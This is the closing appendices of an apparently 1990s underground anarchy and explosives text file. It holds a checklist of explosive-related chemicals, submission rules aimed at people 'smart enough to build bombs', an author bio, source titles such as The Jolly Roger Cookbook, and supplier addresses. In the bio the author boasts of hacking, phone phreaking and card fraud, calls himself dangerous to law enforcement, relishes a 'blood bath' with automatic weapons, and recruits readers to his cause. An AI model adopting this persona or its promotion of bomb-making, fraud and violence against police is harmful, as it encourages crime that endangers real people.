                         ____    Sodium Azide

                         ____    Lead Acetate

                         ____    Barium Nitrate



































































Appendix C:  Submitting your work



	If you would like to summit your work, you can send it in any form to me at redphaze@biosys.net.  However, to ensure faster addition to my guide, please take the time to just fix up your own material.  You can, if you want, put it into Word and then just fill the screen, however, that will not be necessary.  What I am looking for is for people to not do the following:



1:  Please do not use multiple periods when typing.  It is such a bitch to go though and find all those little mother fuckers.  So none of this......bullshit.



2:  DO NOT TYPE IN ALL CAPS.  Do you know how long it takes to fix this?  In fact don’t use all caps to STRESS anything.  It just makes the file look ruggish.



3.  Try to use complete sentences.  If you are smart enough to build bombs, then you are smart enough to include a noun, a verb, and a direct object in every sentence.



	You don’t need to worry about spelling, that is why I have a spell checker.  However, by just doing this, it will make it so much easier to include your files.



































































Appendix D:  About the author



	Well, what about me?  Well, I am 
Red Phaze
.  I live in the slums of Chi-Town.  If you really want to know where, well anywhere were I can access a computer will do.  I am highly training across many field, although my focus is General Anarchy, Explosives, Weapons, and Hand to Hand Combat.  I can hack, if I have to.  Obviously I can phreak, because who the hell wants to pay for long distance calls.  I used to card, but since I bought the big one for a few months not anymore.



	I consider myself dangerous only to law enforcement officials, not the fellow undergrounders.  I hate warring with fellow hackers, phreaks, carders, gang bangers, and all the rest because there is no point.  Why don’t we j
ust all unite against the man?   My other question is this, 
I
 know I
’m great, so why the fuck do 
I
 need to bot
her with other undergrounders?  
I
 need to unite them, not fight them.  Give me a thousand such knigts and 
I
 can change the world




	Personally, I consider myself very intelligent.  I do not do this as a hobby but as a career.  I am hoping to publish more detailed filez in the upcoming editions.  Why I consider myself intelligent is that I read about 20 books a week.  Everything from Philosophy to History, to Anarchy and Explosives.  I do get my monthly or bi-monthly edition of Phrack Magazine and Catslash Magazine whenever they decide to come out.  



	My weapon of choice is a pair of 9mm full autos.  Yes, I can shoot with one h
and,
 either hand.  If the situation calls for a blood bath I like to use one of those shotguns from Virtuosity that Denzel Washington affectionately calls a Crowd Pleaser.  For close range combat I have a 6 inch military dagger, single edged ice pick tip.  I also have a 2 foot military issued short sword.  Doubled sided, slit in the middle, wood handled, very nice.



	“Lead, follow, or get the hell out of the way!”  Well, I don’t follow, because nobody seems to be going the direction I want to.  I won’t get the hell out of the way, because that will probably mean standing still.  So I am leading.  If you want to come along, then jump on board.  You have my email address, so let’s get together.  



	The next edition of this Volume should have another 45.5% increase.  So that means there should be 112 files in the next edition.  I need your help, so start pumping in those files, and I will see you in the next edition.



































Appendix E: Sources



The Jolly Roger Cookbook

The Big Book of Mischeif



C U F O N

Computer UFO Network

Seattle Washington, USA 

(206) 776-0382 8 Data Bits, No Parity, 1 Stop Bit 300/1200/2400 bps.

SYSOP - Jim Klotz  Information Director - Dale Goudie 

UFO Reporting and Information Service 

Voice Line - (206) 721-5035 

P.O.Box 832, Mercer Island, WA 98040, USA













































































Appendix F:  Suppliers:



Nitro-Pak

13243 E. Rosecrans Ave.

Santa Fe Springs, CA 90670

(213)-802-0099



Survival Inc.

15600 S. Figueroa St.

Gardena, CA 90248

(213)-324-8855





